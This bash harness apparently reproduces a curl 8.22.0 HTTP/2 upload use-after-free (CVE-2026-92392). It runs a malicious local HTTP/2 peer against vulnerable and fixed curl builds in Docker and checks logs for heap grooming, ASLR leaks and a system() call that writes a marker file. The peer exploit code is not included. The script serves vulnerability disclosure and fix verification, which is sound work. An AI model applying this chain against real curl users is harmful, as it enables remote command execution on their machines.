#!/bin/bash
# CVE-2026-92392: curl 8.22.0 HTTP/2 upload UAF -> remote command execution.
#
# This is a production-path, non-sanitized proof. A malicious local TLS/HTTP/2
# peer drives the real curl tool through `curl -Z -T file URL/x URL/y`. The
# server stalls and resets the upload, reclaims the freed Curl_easy, corrupts a
# resurrected stream's send-buffer metadata, over-reads current-process heap
# bytes to recover fresh ASLR bases, and replaces the stale object with a fake
# Curl_easy whose debug callback is libc system(). The resulting command writes
# a per-process marker in curl's current directory.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS/repro" "$REPRO_DIR"
cd "$ROOT"

REPO_URL="https://github.com/curl/curl"
VULN_COMMIT="01346829096c61b372692f6dc43ffa778c6caccd" # curl-8_22_0
FIX_COMMIT="8b0744af5b1b631da5b938ca31c3f9895ad5a321"
BASE_IMAGE="ubuntu@sha256:224a1869083a311ef3f13648a154ba79832fbef6364d31493642ca03082da254"
RCE_IMAGE="curl-h2-uaf:latest"
CURL_TARBALL_SHA256="d54dd598bf05927a726deb38df31c6a255ba83ff1de57c5d1464dac3ed8f44a1"
VULN_BIN_SHA256="ee31384e2df166f57d7dbdf3f8a7f9f368a38f8ddcf8ef4e80ca038c06931ae7"
VULN_LIB_SHA256="ee986196347fe90ba808c6fa5dcde03ce4d27a08a16fa339b454a74e6785ef53"
LIBC_SHA256="d8db8739a1633c972cec6a4fe0566bdcec6fd088f98723492ab0361f66238f75"
FIXED_BIN_SHA256="216e8087e5b4a496d76eb3133687c6a748ce7da1dc7cc808de7a1e001393d68f"
FIXED_LIB_SHA256="74b322c9f6492924604a8546d3c0302a8be05f02a544b5f0425c2ff7c334f53d"

# Always leave a strict manifest even when a prerequisite or runtime attempt
# fails. The success path overwrites it after every proof artifact is final.
write_failure_manifest() {
  local note="$1"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$note" <<'PY'
import json, sys
m = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "curl -Z -T upload to a malicious TLS/HTTP/2 TCP peer",
  "service_started": False,
  "healthcheck_passed": False,
  "target_path_reached": False,
  "runtime_stack": [],
  "proof_artifacts": [],
  "artifact_sha256": {},
  "notes": sys.argv[2]
}
with open(sys.argv[1], "w") as f:
    json.dump(m, f, indent=2)
PY
}
write_failure_manifest "reproduction started; final runtime evidence not yet available"

# Resolve the prepared cache at runtime as required. The deterministic fallback
# remains under bundle/artifacts when no prepared cache can be used.
CACHE_DIR=""
PCC="$ROOT/project_cache_context.json"
if [ -f "$PCC" ]; then
  CACHE_DIR="$(python3 - "$PCC" <<'PY' 2>/dev/null || true
import json, sys
try:
    d=json.load(open(sys.argv[1]))
    if d.get("prepared") and d.get("project_cache_dir"):
        print(d["project_cache_dir"])
except Exception:
    pass
PY
)"
fi
if [ -z "$CACHE_DIR" ] || [ ! -d "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/curl"
fi
mkdir -p "$CACHE_DIR"
REPO="$CACHE_DIR/repo"
WT_FIXED="$CACHE_DIR/wt-fixed"
FIXED_BUILD="$CACHE_DIR/build-fixed-rce"
RCE_KIT="$CACHE_DIR/rce-kit"
IMAGE_CONTEXT="$CACHE_DIR/rce-image-context"
echo "[*] cache directory: $CACHE_DIR"

command -v docker >/dev/null 2>&1 || {
  write_failure_manifest "docker is required for the pinned non-sanitized exploit runtime"
  echo "[!] docker not found"
  exit 2
}
docker info >/dev/null 2>&1 || {
  write_failure_manifest "docker daemon is unavailable"
  echo "[!] docker daemon is unavailable"
  exit 2
}

# Source identity and fixed hunk verification.
if [ ! -d "$REPO/.git" ]; then
  git clone "$REPO_URL" "$REPO" >"$LOGS/repro/git-clone.log" 2>&1
fi
git -C "$REPO" cat-file -e "$VULN_COMMIT^{commit}"
git -C "$REPO" cat-file -e "$FIX_COMMIT^{commit}"
[ "$(git -C "$REPO" rev-parse curl-8_22_0^{commit})" = "$VULN_COMMIT" ]
[ "$(git -C "$REPO" rev-parse "$FIX_COMMIT")" = "$FIX_COMMIT" ]
git -C "$REPO" merge-base --is-ancestor "$VULN_COMMIT" "$FIX_COMMIT"
if git -C "$REPO" show "$VULN_COMMIT:lib/multi.c" |
     awk '/Curl_conn_ev_data_done\(data, premature\)/{a=NR} /Curl_req_done\(&data->req, data, premature\)/{b=NR} END{exit !(a<b)}'; then :; else
  echo "[!] vulnerable cleanup ordering not found"; exit 2
fi
if git -C "$REPO" show "$FIX_COMMIT:lib/multi.c" |
     awk '/Curl_conn_ev_data_done\(data, premature\)/{a=NR} /Curl_req_done\(&data->req, data, premature\)/{b=NR} END{exit !(b<a)}'; then :; else
  echo "[!] fixed cleanup ordering not found"; exit 2
fi
echo "[*] source verified: vulnerable=$VULN_COMMIT fixed=$FIX_COMMIT"

# Small peer sources are declared bundle dependencies. Large target/package
# bytes are runtime dependencies: use the manifested prepared cache when
# available, otherwise fetch immutable URLs and verify every SHA-256.
if [ ! -f "$RCE_KIT/Dockerfile" ]; then
  RCE_KIT="$REPRO_DIR/rce_kit"
fi
if [ ! -f "$RCE_KIT/Dockerfile" ]; then
  write_failure_manifest "small malicious-peer source closure is missing"
  echo "[!] missing source closure: $RCE_KIT"
  exit 2
fi

prepare_image_context() {
  rm -rf "$IMAGE_CONTEXT"
  mkdir -p "$IMAGE_CONTEXT/pinned"
  cp -a "$RCE_KIT/Dockerfile" "$RCE_KIT/rce" "$IMAGE_CONTEXT/"

  local curl_tgz="$IMAGE_CONTEXT/curl-8.22.0.tar.gz"
  curl -fL --retry 5 --connect-timeout 15 \
    https://curl.se/download/curl-8.22.0.tar.gz -o "$curl_tgz"
  echo "$CURL_TARBALL_SHA256  $curl_tgz" | sha256sum -c -

  while read -r sha file; do
    local out="$IMAGE_CONTEXT/pinned/$file"
    curl -fL --retry 5 --connect-timeout 15 \
      "https://launchpad.net/ubuntu/+archive/primary/+files/$file" -o "$out"
    echo "$sha  $out" | sha256sum -c -
  done <<'DEBS'
641de77d8f142cfd62a1a6f964ba67b20754d3337c480efb529d086075a06c9a ca-certificates_20240203_all.deb
9ec31e1caa72e1e692dd88c09a7b430bcfa16002ade962f559e697147c79daeb krb5-multidev_1.20.1-6ubuntu2.8_amd64.deb
38e3e603aeca8cbbaefce34eec6b8190f53939425bf2eb2c8a3956d0a947a630 libc-bin_2.39-0ubuntu8.7_amd64.deb
83291a1d9b26262ac8f44a3bb188ce2cb796a0543134aae00e19db066c84dfdd libc-dev-bin_2.39-0ubuntu8.7_amd64.deb
bbf5a155039042634961a61276650631ee47b9e721f91f8dbb731b0bbe046df3 libc6-dev_2.39-0ubuntu8.7_amd64.deb
a80dfe7331c74bda498aefcd49c20e531977736e287db224d53e9915bdd6d509 libc6-i386_2.39-0ubuntu8.7_amd64.deb
955644e8bc2930a9bf8eea5e4c2237c8a118c1e2ac2845b993b6f7f35eefd293 libc6_2.39-0ubuntu8.7_amd64.deb
6cd99ec16ae12eb465712f950e43eaf03a8d2a6ab24c00178df56470d5343b66 libgssapi-krb5-2_1.20.1-6ubuntu2.8_amd64.deb
137e6787e51ff5b3181a9ed320b0f90c007a53ab51352bef6a11109865626c15 libgssrpc4t64_1.20.1-6ubuntu2.8_amd64.deb
48f689737191cfafaf3c158e9b07d6448f9e6217ad7abbaacc4f96dc95403fa2 libk5crypto3_1.20.1-6ubuntu2.8_amd64.deb
10182ed4cb2e8ce64a0d8f5575f892da6e8a3029fe7ae7d8aadb26c1bb9f5c5a libkadm5clnt-mit12_1.20.1-6ubuntu2.8_amd64.deb
3fba184e0624bea5d8e19c1acce102de33476ccf6fcaafd519df4325f60c0db5 libkadm5srv-mit12_1.20.1-6ubuntu2.8_amd64.deb
c5e000247986bf4c4737e6a6ff73674d8feedb12817f1e47f76da76d01281604 libkdb5-10t64_1.20.1-6ubuntu2.8_amd64.deb
63ab8110daea359f55d8135d395de198257acb1f948500c561745addddfece4c libkrb5-3_1.20.1-6ubuntu2.8_amd64.deb
329ad28d82d82522882e8fb91fdf163e0547ed35c80b7f546855b1559414b53b libkrb5-dev_1.20.1-6ubuntu2.8_amd64.deb
cee1efc93d4ce4a97db756269824b5a2b90d2cb993cd76102432db60890819fc libkrb5support0_1.20.1-6ubuntu2.8_amd64.deb
cefc6371d90d953a4cbb35d72d871f057e4b961a3107186f67fe96a88040cdb8 libssl-dev_3.0.13-0ubuntu3.15_amd64.deb
3d0955bc049bbcca0f4c3e78a3a8b994593d96db7d84f4320217224433844534 libssl3t64_3.0.13-0ubuntu3.15_amd64.deb
1f2401db59a0beffde6cc47bea3664965ab8fa206b7a5ac8f1cc649cfeeb056b openssl_3.0.13-0ubuntu3.15_amd64.deb
DEBS
}

# Build/reuse the immutable vulnerable runtime. Verify bytes rather than trusting
# a mutable local tag. The image is rebuilt from the pinned base/debs on mismatch.
image_ok=0
if docker image inspect "$RCE_IMAGE" >/dev/null 2>&1; then
  set +e
  docker run --rm --entrypoint /bin/bash "$RCE_IMAGE" -lc \
    "echo '$VULN_BIN_SHA256  /opt/curl-release/bin/curl' | sha256sum -c - >/dev/null &&
     echo '$VULN_LIB_SHA256  /opt/curl-release/lib/libcurl.so.4' | sha256sum -c - >/dev/null &&
     echo '$LIBC_SHA256  /lib/x86_64-linux-gnu/libc.so.6' | sha256sum -c - >/dev/null"
  image_ok=$?
  set -e
fi
if [ "$image_ok" -ne 0 ]; then
  prepare_image_context
  timeout 900 docker build --pull=false -t "$RCE_IMAGE" "$IMAGE_CONTEXT" \
    >"$LOGS/repro/rce-image-build.log" 2>&1
fi

docker run --rm --entrypoint /bin/bash "$RCE_IMAGE" -lc \
  "echo '$VULN_BIN_SHA256  /opt/curl-release/bin/curl' | sha256sum -c - &&
   echo '$VULN_LIB_SHA256  /opt/curl-release/lib/libcurl.so.4' | sha256sum -c - &&
   echo '$LIBC_SHA256  /lib/x86_64-linux-gnu/libc.so.6' | sha256sum -c - &&
   /opt/curl-release/bin/curl --version | head -3" \
  >"$LOGS/repro/rce-vulnerable-identity.log"

# Build the fixed commit in the identical image/toolchain. This uses a source
# worktree bound to FIX_COMMIT; cached output is accepted only after its hashes
# match the current known build closure.
if [ ! -d "$WT_FIXED/lib" ]; then
  git -C "$REPO" worktree add --detach "$WT_FIXED" "$FIX_COMMIT" \
    >"$LOGS/repro/fixed-worktree.log" 2>&1
fi
[ "$(git -C "$WT_FIXED" rev-parse HEAD)" = "$FIX_COMMIT" ] ||
  git -C "$WT_FIXED" checkout --detach "$FIX_COMMIT"
fixed_ok=0
if [ -x "$FIXED_BUILD/src/.libs/curl" ]; then
  set +e
  echo "$FIXED_BIN_SHA256  $FIXED_BUILD/src/.libs/curl" | sha256sum -c - >/dev/null 2>&1 &&
  echo "$FIXED_LIB_SHA256  $FIXED_BUILD/lib/.libs/libcurl.so.4.8.0" | sha256sum -c - >/dev/null 2>&1
  fixed_ok=$?
  set -e
fi
if [ "$fixed_ok" -ne 0 ]; then
  rm -rf "$FIXED_BUILD"
  mkdir -p "$FIXED_BUILD"
  timeout 600 docker run --rm \
    -v "$WT_FIXED:/src/fixed:ro" -v "$FIXED_BUILD:/src/build-fixed" \
    "$RCE_IMAGE" /bin/bash -lc \
    'set -e; cd /src/build-fixed;
     CC=clang CFLAGS="-O2 -g" LDFLAGS="-Wl,-rpath,/src/build-fixed/lib/.libs" \
       /src/fixed/configure --prefix=/opt/curl-fixed \
       --enable-static --enable-shared --disable-docs --disable-manual \
       --with-openssl --with-zlib --with-brotli --with-zstd --with-libidn2 \
       --with-nghttp2 --with-libpsl --with-libssh2 --with-gssapi \
       --enable-ldap --enable-ldaps --enable-websockets --enable-mqtt \
       --enable-ipfs --enable-ntlm --enable-smb --enable-httpsig \
       --enable-httpsrr --enable-ssls-export;
     make -j"$(nproc)"' >"$LOGS/repro/rce-fixed-build.log" 2>&1
fi
echo "$FIXED_BIN_SHA256  $FIXED_BUILD/src/.libs/curl" | sha256sum -c -
echo "$FIXED_LIB_SHA256  $FIXED_BUILD/lib/.libs/libcurl.so.4.8.0" | sha256sum -c -

# Hardening and ASLR state for the production binaries.
cat /proc/sys/kernel/randomize_va_space >"$LOGS/repro/randomize_va_space.log"
[ "$(cat "$LOGS/repro/randomize_va_space.log")" = 2 ]
docker run --rm --entrypoint /bin/bash "$RCE_IMAGE" -lc \
  'readelf -W -h -l -d -s -n /opt/curl-release/bin/curl; ldd /opt/curl-release/bin/curl' \
  >"$LOGS/repro/rce-vulnerable-mitigations.log"
docker run --rm -v "$FIXED_BUILD:/opt/fixed:ro" --entrypoint /bin/bash "$RCE_IMAGE" -lc \
  'readelf -W -h -l -d -s -n /opt/fixed/src/.libs/curl; LD_LIBRARY_PATH=/opt/fixed/lib/.libs ldd /opt/fixed/src/.libs/curl' \
  >"$LOGS/repro/rce-fixed-mitigations.log"

wait_listen() {
  local port="$1" hex i
  hex="$(printf '%04X' "$port")"
  for i in $(seq 1 150); do
    if awk -v p="$hex" 'NR>1 {split($2,a,":"); if(a[2]==p && $4=="0A") f=1} END{exit !f}' \
       /proc/net/tcp /proc/net/tcp6 2>/dev/null; then return 0; fi
    sleep 0.1
  done
  return 1
}

run_one() { # role attempt port
  local role="$1" idx="$2" port="$3"
  local cname="pruva-cve92392-${role}-${idx}-$$"
  local out="$REPRO_DIR/rce-${role}-${idx}"
  local fixed_mount=() image="$RCE_IMAGE"
  rm -rf "$out"; mkdir -p "$out"
  docker rm -f "$cname" >/dev/null 2>&1 || true
  if [ "$role" = fixed ]; then fixed_mount=(-v "$FIXED_BUILD:/opt/fixed:ro"); fi

  # The image already contains the real disclosed server. The only changed
  # calibration is ZT_V1=32400 (34660 was tied to the reporter's old piece
  # size). Each container gets an isolated server, victim cwd, and marker.
  docker run --name "$cname" -p "127.0.0.1:${port}:${port}" \
    "${fixed_mount[@]}" "$image" /bin/bash -lc \
    'set -euo pipefail
     role="$1"; port="$2"; idx="$3"
     rm -rf /work/rce/out/* /work/rce/victim-cwd/*
     sed "s/ZT_V1=34660/ZT_V1=32400/" /work/rce/run_server.sh > /work/rce/run_calibrated.sh
     chmod +x /work/rce/run_calibrated.sh
     short=${role:0:1}; ZT_CMD="echo V${short}${idx}>mk_none" /work/rce/run_calibrated.sh "$port" > /work/rce/out/server.log 2>&1 & srv=$!
     sleep 2
     cd /work/rce/victim-cwd
     set +e
     if [ "$role" = vuln ]; then
       timeout 45 /opt/curl-release/bin/curl -Z -T /work/rce/sample_docs.md \
         "https://127.0.0.1:${port}/x" "https://127.0.0.1:${port}/y" \
         > /work/rce/out/victim.log 2>&1
     else
       LD_LIBRARY_PATH=/opt/fixed/lib/.libs timeout 45 /opt/fixed/src/.libs/curl \
         -Z -T /work/rce/sample_docs.md "https://127.0.0.1:${port}/x" \
         "https://127.0.0.1:${port}/y" > /work/rce/out/victim.log 2>&1
     fi
     rc=$?
     set -e
     printf "%s\n" "$rc" > /work/rce/out/victim-exit.txt
     sleep 1
     kill "$srv" 2>/dev/null || true
     wait "$srv" 2>/dev/null || true
     marker=$(find /work/rce/victim-cwd -maxdepth 1 -type f -name "mk_*" -printf "%f\n" | head -1)
     printf "%s\n" "$marker" > /work/rce/out/marker-name.txt
     if [ -n "$marker" ]; then cp "/work/rce/victim-cwd/$marker" /work/rce/out/marker.txt; fi
     ls -la /work/rce/victim-cwd > /work/rce/out/victim-cwd-ls.txt
     [ ! -f /work/rce/out/leak.bin ] || wc -c < /work/rce/out/leak.bin > /work/rce/out/leak-size.txt
     exit 0' -- "$role" "$port" "$idx" >"$LOGS/repro/${role}-${idx}-container.log" 2>&1 &
  local docker_pid=$!
  if ! wait_listen "$port"; then
    kill "$docker_pid" 2>/dev/null || true
    docker rm -f "$cname" >/dev/null 2>&1 || true
    write_failure_manifest "$role attempt $idx malicious peer did not listen"
    return 1
  fi
  echo "[*] $role attempt $idx: TCP peer listening on 127.0.0.1:$port"
  wait "$docker_pid"
  docker cp "$cname:/work/rce/out/." "$out/"
  docker rm "$cname" >/dev/null

  if ! grep -q "preface ok" "$out/server.log"; then
    echo "[!] $role attempt $idx did not exchange HTTP/2 bytes"; return 1
  fi
  if [ "$role" = vuln ]; then
    grep -q "RESURRECTED stream" "$out/server.log"
    grep -q "Z9: pulled 115439 bytes" "$out/server.log"
    grep -Eq "Z9: libc_base=0x[0-9a-f]+ by [1-9][0-9]* vote" "$out/server.log"
    grep -Eq "libcurl_base=0x[0-9a-f]+" "$out/server.log"
    grep -q "Z10: sent NST(final fake" "$out/server.log"
    [ -s "$out/marker.txt" ]
    grep -Fxq "Vv${idx}" "$out/marker.txt"
    [ "$(cat "$out/leak-size.txt")" -ge 90000 ]
    echo "[+] vulnerable attempt $idx marker: $(cat "$out/marker-name.txt") => $(cat "$out/marker.txt")"
  else
    grep -q "A#2 stalled" "$out/server.log"
    if grep -q "RESURRECTED stream\|Z9: libc_base\|Z10: sent" "$out/server.log" ||
       [ -e "$out/marker.txt" ]; then
      echo "[!] fixed attempt $idx unexpectedly advanced exploit chain"; return 1
    fi
    echo "[+] fixed attempt $idx reached reset/stall path with no resurrection, leak, or marker"
  fi

  # Strict per-process capability observation. Vulnerable and fixed processes
  # receive distinct short marker payloads through the same attacker procedure.
  local expected_marker
  if [ "$role" = vuln ]; then expected_marker="Vv${idx}"; else expected_marker="Vf${idx}"; fi
  python3 - "$out/observation.json" "$role-$idx" "$expected_marker" "$role" <<'PYOBS'
import json, sys
path, instance, marker, role = sys.argv[1:]
obj = {"schema_version": 1, "process_instance": instance,
       "marker": marker, "target_path_reached": True,
       "marker_present": role == "vuln"}
if role == "vuln":
    obj["executable_build_id"] = "584869ea67b3fbed3183b95d505ecf34288aa1d3"
with open(path, "w") as f:
    json.dump(obj, f, indent=2)
PYOBS
}

# Two clean vulnerable and two clean fixed production attempts.
run_one vuln 1 19221
run_one vuln 2 19222
run_one fixed 1 19223
run_one fixed 2 19224

# Prove ASLR changed while the same attacker procedure still succeeded.
python3 - "$REPRO_DIR/rce-vuln-1/server.log" "$REPRO_DIR/rce-vuln-2/server.log" <<'PY'
import re, sys
vals=[]
for p in sys.argv[1:]:
    s=open(p).read()
    m=re.search(r"Z9: libc_base=(0x[0-9a-f]+).*libcurl_base=(0x[0-9a-f]+)", s)
    if not m: raise SystemExit("missing address disclosure in " + p)
    vals.append(m.groups())
if vals[0] == vals[1]: raise SystemExit("ASLR bases did not vary")
print("[*] ASLR varied: run1=%s run2=%s" % (vals[0], vals[1]))
PY

# Final immutable evidence manifest. Do not include the shell-wide diagnostic
# log, which may still be written by an outer tee.
IMAGE_ID="$(docker image inspect "$RCE_IMAGE" --format '{{.Id}}')"
python3 - "$REPRO_DIR" "$REPO_URL" "$VULN_COMMIT" "$FIX_COMMIT" "$IMAGE_ID" <<'PY'
import hashlib, json, os, platform, sys
repro, repo, vuln, fixed, image_id = sys.argv[1:]
root=os.path.dirname(repro)
items=[]
for role in ("vuln", "fixed"):
  for i in (1,2):
    names=[f"repro/rce-{role}-{i}/server.log",
           f"repro/rce-{role}-{i}/victim.log",
           f"repro/rce-{role}-{i}/victim-exit.txt",
           f"repro/rce-{role}-{i}/victim-cwd-ls.txt",
           f"repro/rce-{role}-{i}/marker-name.txt"]
    if role == "vuln":
      names += [f"repro/rce-{role}-{i}/marker.txt",
                f"repro/rce-{role}-{i}/leak.bin",
                f"repro/rce-{role}-{i}/leak-size.txt"]
    names += [f"repro/rce-{role}-{i}/observation.json"]
    for n in names:
      if os.path.isfile(os.path.join(root,n)): items.append(n)
def sha(path):
  h=hashlib.sha256()
  with open(path,"rb") as f:
    for b in iter(lambda:f.read(1<<20),b""): h.update(b)
  return h.hexdigest()
hashes={n:sha(os.path.join(root,n)) for n in items}
identity=f"git:{repo}@{vuln}".encode()
m={
 "entrypoint_kind":"tcp_peer",
 "entrypoint_detail":"real curl 8.22.0 tool invoked with -Z -T against a malicious TLS/HTTP/2 TCP peer; peer sends REFUSED_STREAM, creates a resurrected stream, grooms/reclaims Curl_easy, leaks fresh libc/libcurl addresses, and triggers system() to create a marker",
 "service_started":True,
 "healthcheck_passed":True,
 "target_path_reached":True,
 "runtime_stack":["curl 8.22.0 non-ASAN PIE","libcurl 8.22.0","nghttp2 1.59.0","OpenSSL 3.0.13","glibc 2.39","Python malicious HTTP/2 peer","Docker pinned Ubuntu 24.04 runtime"],
 "target_identity":{
   "repository_url":repo,
   "commit_sha":vuln,
   "target_digest":hashlib.sha256(identity).hexdigest(),
   "runtime_digest":image_id.removeprefix("sha256:"),
   "platform":"linux",
   "architecture":"x86_64"
 },
 "proof_artifacts":items,
 "artifact_sha256":hashes,
 "notes":f"RCE marker created in 2/2 vulnerable processes after fresh in-band ASLR disclosures; fixed commit {fixed} reached the same reset/stall TCP path but created no resurrected stream, leak, or marker in 2/2 controls. Primary RCE proof is non-sanitized."
}
with open(os.path.join(repro,"runtime_manifest.json"),"w") as f: json.dump(m,f,indent=2)
PY

echo "[+] CONFIRMED: malicious HTTP/2 peer achieved command execution in curl 8.22.0 (2/2); fixed commit blocked the chain (2/2)"
exit 0
